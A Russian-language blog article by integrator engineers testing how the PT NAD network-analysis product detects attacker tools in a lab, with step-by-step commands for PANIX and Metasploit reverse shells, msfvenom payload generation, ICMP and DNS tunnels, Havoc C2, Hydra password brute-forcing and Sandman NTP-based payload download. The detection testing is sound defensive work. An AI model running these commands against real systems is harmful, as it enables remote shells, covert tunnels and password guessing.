TS Solution тестирует возможности защиты системы анализа трафика.
Как команда экспертов TS Solution, работающих с большинством продуктов Positive Technologies, мы часто получаем от заказчиков вопросы из серии: “А обнаружит ли PT NAD (подставьте интересующую вредоносную активность или инструмент злоумышленников)?” К сожалению, ответить на все вопросы во время пилотных проектов получается не всегда. А нам и самим интересно, до какой степени обширны функциональные возможности продукта и насколько эффективно они работают на практике.
Чтобы утолить наш общий интерес, мы, предварительно изучив официальную документацию и посмотрев наборы правил для атак и активностей, решили провести ряд тестов и поделиться ими со всеми, кто стоит перед выбором или интересуется возможностями PT NAD.
Наши тесты включают в себя использование различных популярных хакерских утилит и инструментов для тестирования на проникновение, которыми реальные злоумышленники тоже пользуются. Результаты тестирования мы поместили в эту статью, где каждому отдельному инструменту посвящена отдельная глава.
Данные тесты созданы с целью познакомить читателя с методами детектирования продукта PT NAD. Мы не несем ответственности за последствия использования приведенных инструментов в реальной жизни.
В главах вы найдёте краткое описание продукта, шаги по его использованию и результат обнаружения его активности в PT NAD. Дополнительно мы добавили описание используемого нами стенда, чтобы при желании вы смогли самостоятельно воспроизвести все тесты.
Для проведения тестирования PT NAD нам потребуется три виртуальные машины. Первая из них в сценариях проверки будет играть роль атакуемой машины, вторая – роль атакующей, а третья – маршрутизатор. Кроме того, нам потребуется четвертая ВМ, на которой будет развернут непосредственно сам PT NAD.
В качестве машины жертвы будем использовать Debian 11 (далее debian), на машине нашего условного злоумышленника — Kali Linux (далее kali), в качестве маршрутизатора — RouterOS (Mikrotik). Теперь наша задача соединить эти две машины так, чтобы трафик между ними проходил через коммутатор. Для этого мы ставим его “между” ними и используем для маршрутизации пакетов между debian и kali.
Выдадим ip-адреса всем интерфейсам:
В PT NAD отправляем копию трафика с линии связи между Mikrotik и Debian.
PANIX – пентест-утилита, предоставляющая набор инструментов для получения удаленного доступа к компьютеру жертвы и закрепления на нем.
Первым делом необходимо установить PANIX на атакуемый узел (Debian). Скачать данную утилиту можно по ссылке. На компьютере «злоумышленника» (Kali) начинаем прослушивать входящие соединения на 1337 порту (можно выбрать любой другой порт, не использующийся другими службами). Для этого будем использовать утилиту NetCat.
┌──(kali㉿kali)-[~] |
Начав прослушивание порта, используем PANIX для организации Reverse Shell с узла Debian. Reverse Shell — это тип хакерской атаки, при которой атакуемая машина подключается к атакующему устройству при помощи внедренной команды или работы фреймворка. Для этого воспользуемся опцией --at, (panix создаст задачу в планировщике задач at который позволяет создавать отложенные задачи) передав ей в качестве параметров ip-адрес узла Kali (192.168.3.1), прослушиваемый порт (1337) и время, через которое необходимо произвести подключение (мы ждать не хотим, поэтому укажем “now”).
user@debian:~/Soft$ ./panix.sh --at --default --ip 192.168.3.1 --port 1337 --time "now" |
После этого на Kali мы увидим, что подключение состоялось.
┌──(kali㉿kali)-[~] |
Можем выполнить несколько команд. Например, посмотреть имя пользователя и узла или вывести содержимое файла /etc/passwd. Данные команды часто выполняются злоумышленниками для первичной быстрой разведки скомпрометированного устройства. Для завершения сессии необходимо выполнить команду exit.
┌──(kali㉿kali)-[~] …
tcpdump:x:124:132::/nonexistent:/usr/sbin/nologin |
Атака прошла успешно. Теперь посмотрим, что же обнаружил PT NAD. В карточке сессии видим сработку двух правил атак, обнаруживших вывод команды id и передачу содержимого файла /etc/passwd.
Shellz - скрипт для организации Reverse Shell подключения. Ссылка для ознакомления и скачивания.
Устанавливаем утилиту на Kali и запускаем.
┌──(kali㉿kali)-[~/Soft/shells] |
Откроется псевдографическое меню. Далее нужно будет указать все необходимые опции и параметры для создания подключения. Сперва выбираем механизм создания Reverse Shell - Bash (опция 3). Затем указываем ip-адрес и порт для подключения: 192.168.3.1 и 3300, в качестве формата ip-адреса выбираем Normal (опция 1). В следующем окне выберем вариант генерации нагрузки без дополнительной кодировки - No encoding TCP (опция 1). В качестве сервиса для прослушивания выберем netcat (опция 2). Началось прослушивание порта 3300.
listening on [any] 3300 ... |
На последнем окне меню кроме выбора метода прослушивания порта будет выведена команда, которую необходимо запустить на узле Debian.
/ _____/| |__ ____ | | | | ________ |
После выполнения данной команды с узла Kali станет доступно выполнение команд.
listening on [any] 3300 ... |
PT NAD обнаружил в трафике вывод команд, в частности команды id.
Metasploit Framework - это мощный инструмент с открытым исходным кодом, используемый для тестирования на проникновение и оценки безопасности компьютерных систем. Он предоставляет платформу для разработки, тестирования и выполнения эксплойтов против удалённых целей. Входит в состав дистрибутива Kali.
Одно из возможных применений данного инструмента - создание Reverse Shell подключения, при котором целевая машина инициирует соединение к атакующему компьютеру. Для большей наглядности в качестве атакуемой машины будем использовать ВМ под управлением Windows 10 с ip-адресом 192.168.2.5.
Для этого первым делом необходимо создать вредоносный исполняемый файл, который будет необходимо в дальнейшем передать на атакуемую машину и на ней выполнить. Создаем файл с помощью утилиты msfvenom, которая входит в состав Metasploit Framework: ключ -p указывает, какую нагрузку и параметры подключения необходимо использовать, ключом -f задаем формат файла, а ключом -o определяем путь и имя создаваемого командой файла.
sudo msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.3.1 LPORT=3300 -f exe -o /home/kali/msf/payload.exe |
Теперь нужно запустить процесс, который будет прослушивать указанный при создании файла порт (в нашем примере используется порт 3300) и ожидать подключения от удаленных машин. Для этого переходим в консоль Metasploit Framework командой sudo msfconsole, выбираем модуль exploit/multi/handler и указываем нагрузку и параметры подключения (все те же, что указывали при создании вредоносного файла утилитой msfvenom).
msf6 > use exploit/multi/handler |
Передаем созданный файл любым удобным способом (например, через SCP) на Windows 10 и просто запускаем двойным нажатием. В открытой ранее на Kali сессии метасплоита получаем доступ к выполнению команд на удаленной машине.
msf6 exploit(multi/handler) > run |
PT NAD обнаружил баннер интерпретатора командной строки в трафике и на основе этого выдал сработку.
Таким образом при сравнении детекта reverse shell организованного разными инструментами, мы наблюдаем, что PT NAD детектирует удаленное выполнение команд и просмотр файлов, но не детектирует сам инструмент.
Hans – утилита, позволяющая строить ICMP туннель между узлами сети.
Для организации ICMP туннеля необходимо скачать исходники hans и собрать исполняемый файл на обоих узлах: и на Debian, и на Kali. После установки переходим на Kali в директорию с установленным hans и выполняем команду.
sudo ./hans -s 192.168.4.1 |
Вместо 192.168.4.1 можно указать любой другой ip адрес, не использующийся на машине. Результатом выполнения данной команды должно стать создание нового логического интерфейса tun0 с указанным ip адресом.
┌──(kali㉿kali)-[/hans] |
Затем на узле Debian, находясь в директории с утилитой, выполняем команду
sudo ./hans -c 192.168.3.1 |
Важно: необходимо указать ip адрес Kali, с которым есть сетевая связность, а не ip адрес созданного ранее логического интерфейса. В случае успешного выполнения команды будет создан логический интерфейс tun0, которому будет назначен ip адрес из той же подсети, что и ip адрес на аналогичном интерфейсе на Debian. У нас назначился ip 192.168.4.100.
user@debian:/hans$ sudo ./hans -c 192.168.3.1 |
Для проверки работоспособности туннеля запустим пинг между интерфейсами tun0. Ответы приходят. ICMP туннель построен.
┌──(kali㉿kali)-[/hans] |
Можем использовать его по собственному усмотрению. Например, для подключения по SSH.
┌──(kali㉿kali)-[/hans] |
PT NAD обнаружил ICMP туннель, при этом сработали два детекта. Первый обнаруживает ICMP-туннели в целом и не привязан к сигнатурному анализу, создавая карточку в ленте активностей. Второй алерт сгенерирован сигнатурным анализом и является правилом для атак, обнаружившим конкретный инструмент построения ICMP-туннеля, в нашем случае Hans.
Iodine - утилита для организации DNS туннелей между узлами.
Скачиваем исходники по ссылке и выполняем сборку утилиты на обоих узлах: Debian и Kali. В результате в каталоге /bin должны будут находиться два исполняемых файла: iodine и iodined, - клиентская и серверная части утилиты соответственно. Сперва запускаем сервер на Kali со следующими параметрами: пароль для подключения (мы будем использовать 1234), ip адрес для создания туннеля (он не должен быть никем занят - укажем 192.168.5.1) и доменное имя, для которого Kali будет выполнять роль авторитетного DNS сервера (мы выбрали nad.test). В итоге наша команда выглядит так:
sudo ./iodined -f -P 1234 192.168.5.1 nad.test.
После ее выполнения должен создаться логический интерфейс dns0 с указанным в команде ip.
┌──(kali㉿kali)-[/iodine/bin] |
┌──(kali㉿kali)-[~] |
На узле Debian выполняем команду
sudo ./iodine -f -P 1234 192.168.3.1 nad.test. |
Пароль (1234) и доменное имя (nad.test) должны совпадать с теми, что были использованы ранее при запуске серверной части утилиты на Kali. Важно: необходимо указать ip адрес узла Kali, с которым есть сетевая связность (192.168.3.1), а не тот, что указывали при выполнении команды. В результате должен появиться новый интерфейс dns0 с автоматически присвоенным ему ip адресом из нужной подсети для организации туннеля.
user@debian:/iodine/bin$ sudo ./iodine -f -P 1234 192.168.3.1 nad.test |
user@debian:~$ ip a show dev dns0 |
Проверяем состояние туннеля - пингуем интерфейс dns0. Ответы возвращаются, значит DNS туннель поднят и исправно работает. Его можно использовать по собственному усмотрению, например, для подключения по SSH.
┌──(kali㉿kali)-[~] |
PT NAD задетектил туннель и определил утилиту, с помощью которой он был построен.
Havoc — фреймворк, предназначенный для управления и контроля (CnC), а также постэксплуатации зараженных машин под управлением ОС Windows. Процесс установки, инструкции по использованию данного фреймворка и прочая информация о нем находятся по ссылке.
В Havoc все узлы могут иметь одну из трех ролей: клиент, сервер и агент. Сервер выполняет стандартные задачи CnC-сервера: прослушивание портов, ожидание подключений от зараженных машин, передача им команд для выполнения, генерация вредоносных исполняемых файлов. Клиент может подключаться к серверу для управления им с помощью графического интерфейса. Агент - зараженная машина, находящаяся под управлением сервера.
На нашем стенде Kali совмещает роли сервера и клиента. Роль агента должна была достаться узлу Debian, но фреймворк не поддерживает установку агентов на ОС семейства Linux. Поэтому узел Debian был заменен на ВМ под управлением Windows 10. IP-адресация осталась без изменений.
После завершения установки всех компонентов Havoc на Kali запускаем сервер с параметрами по умолчанию.
┌──(kali㉿kali)-[~/Soft/Havoc] |
Затем запускаем клиент:
┌──(kali㉿kali)-[~/Soft/Havoc] |
Должно открыться окно авторизации, где необходимо указать данные для подключения к серверу. Если при запуске сервера использовался профиль по умолчанию, то можно нажать кнопку New Profile и данные заполнятся автоматически. Останется указать пароль password1234. Нажимаем кнопку Connect и подключаемся к серверу.
Первым делом создаем задачу на прослушивание порта, к которому будут подключаться агенты. Для этого в панели Listeners (если данной панели нет, то необходимо ее включить в разделе меню View) нажимаем кнопку Add. Откроется окно создания задачи прослушивания. Укажем имя base и способ подключения http, остальные параметры оставим без изменения. Для завершения нажимаем кнопку Save в самом низу окна.
Теперь мы можем создать вредоносный исполняемый файл, который при запуске на удаленной машине будет подключаться к серверу и выполнять передаваемые команды. Для этого переходим в меню Attack→Payload. В открывшемся окне можно все оставить без изменений и нажать кнопку Generate.
После этого необходимо немного подождать и сохранить сгенерированный exe-файл в удобном месте, а затем передать его на машину Windows. Запустив этот файл увидим, что в клиенте для управления стал доступен новый узел.
Нажав на него правой кнопкой мыши, откроется контекстное меню, в котором можно открыть просмотр файлов или запущенных процессов (Explorer), а также перейти в панель по отправке команд (Interact). Список всех команд можно найти на странице Agent в документации. Например, команда checkin выведет информацию о агенте.
17/10/2024 07:26:13 [5pider] Demon » checkin |
PT NAD увидел подключение к CnC серверу и определил, что использовался фреймворк Havoc.
Hydra - инструмент для брутфорса и спреинга паролей. Он входит в состав Kali, так что отдельно его устанавливать не нужно. Исходный код и документацию можно найти по ссылке.
Попробуем с помощью утилиты подключиться к ftp серверу под логином post. Зададим автоматическую генерацию паролей из строчных букв латинского алфавита длиной от 4 до 5 символов.
┌──(kali㉿kali)-[~/Soft/Havoc] |
PT NAD обнаружил данный перебор паролей.
Также проверим подбор паролей в шифрованном трафике, например подключение по ssh. Забегая вперед, скажем, что “из коробки” PT NAD не обнаруживает такие атаки, но он предоставляет инструменты, с помощью которых это можно исправить. Один из вариантов - уведомление по фильтру на количество сессий. Отфильтруем все сессии по ssh с неуспешной аутентификацией (app.proto==”ssh” && ssh.auth==”failed”) и поставим на данный фильтр правило “Больше 120 сессий за 10 минут”.
Также можно упомянуть о пользовательских правилах профилирования (ППП сокращенно). ППП — это инструмент, который работает схожим образом с уведомлением по фильтру, однако порог сработки выбирается самим PT NAD при помощи машинного обучения. PT NAD обучается на трафике, исходящего от разных машин в течение выбранного пользователем времени (минимальное время обучения 7 дней) выявляя норму трафика для каждого узла, и если впоследствии трафик превысит эту норму — PT NAD уведомит об этом.
Теперь переходим к тестированию и выполняем команду по перебору паролей для подключения к SSH.
┌──(kali㉿kali)-[~/Soft/Havoc] |
Правило по фильтру сработало и обнаружило подбор паролей.
Sandman - инструмент для обхода защитных мер, примененных в сети. В его работе используется NTP - протокол для синхронизации времени. Данный протокол разрешен во многих сетях и инфраструктурах, таким образом Sandman позволяет загружать и исполнять код на удаленной машине сквозь блокировки межсетевых экранов.
Ознакомиться с проектом и скачать исходный код можно по ссылке. На Kali необходимо перенести содержимое каталога SandmanServer. Вместо Debian используем ВМ на Windows 10 с ip-адресом 192.168.2.5. На эту ВМ необходимо перенести два оставшихся каталога и собрать в VS2022 находящиеся в них проекты.
Итак, чтобы Sandman загрузил и исполнил какую-нибудь нагрузку на удаленной машине, ее нужно сначала создать. Для этого воспользуемся Metasploit Framework. Тут повторяем шаги из главы “Metasploit Framework. Reverse shell” за одним исключением: нагрузку мы не будем имплементировать в исполняемый файл, а оставим прямо так в “сыром” виде. При создании важно обратить внимание на размер нагрузки: необходимо ее запомнить - она нам потом пригодится.
┌──(kali㉿kali)-[~/msf] └─$ sudo msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.3.1 LPORT=3300 -f raw -o /home/kali/msf/raw_payload [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Saved as: /home/kali/msf/raw_payload |
┌──(kali㉿kali)-[~] └─$ sudo msfconsole …
msf6 > use exploit/multi/handler |
Теперь необходимо созданный файл с нагрузкой разместить на каком-нибудь веб-сервере для его дальнейшего скачивания. Мы для этой цели поднимем SimpleHttpServer на Python. Перейдем в директорию с нашим файлом и выполним команду python -m http.server. Теперь по адресу http://192.168.3.1:8000 доступно все содержимое директории с файлом (можно вбить в адресную строку в браузере и проверить).
Все приготовления выполнены - переходим непосредственно к Sandman. Вспоминаем или смотрим (например командой ls -l) размер нагрузки. В нашем случае размер равен 510 байтам. Открываем в текстовом редакторе (мы используем nano) скрипт sandman_server.py и меняем параметр PAYLOAD_SIZE.
┌──(kali㉿kali)-[~/Soft/Sandman/SandmanServer] └─$ nano sandman_server.py … import sys import scapy.all as scapy from scapy.layers.ntp import NTP from scapy.layers.inet import IP, UDP from time import sleep PAYLOAD_SIZE = 510 # Replace with the real size of your shellcode! |
Теперь запускаем сервер и передаем ему в качестве параметров интерфейс и URL для скачивания нагрузки.
┌──(kali㉿kali)-[~/Soft/Sandman/SandmanServer] |
Теперь на Windows 10 запускаем собранный из исходного кода файл Sandman.exe. Увидим подключения к нашему псевдо-ntp-серверу, подключение к веб-серверу, а также установленное Reverse Shell подключение.
┌──(kali㉿kali)-[~/Soft/Sandman/SandmanServer] |
┌──(kali㉿kali)-[~/msf] |
[*] Started reverse TCP handler on 192.168.3.1:3300 |
PT NAD обнаружил деятельность Sandman’а и последующую передачу вывода интерпретатора командной строки в трафике.
Итак, мы проверили хакерский инструментарий разнообразного назначения: протестировали утилиты для построения туннелей, фреймворки для эксплуатации уязвимостей, закрепления и горизонтального перемещения, реверс-шеллы, даже симулятор атак и многое другое.
PT NAD отлично справился со своей работой. Инструмент обнаружил активность всего тестируемого вредоносного ПО. А во множестве случаев смог определить и какой именно инструмент использовался.
Перечень инструментов, использованных в тестах, не является полным. Поэтому мы планируем постепенно добавлять к этому материалу новые главы.
Авторы:
Михаил Меркулов и Артем Комаров, системные инженеры TS Solution, сертифицированные тренеры по NAD и Sandbox.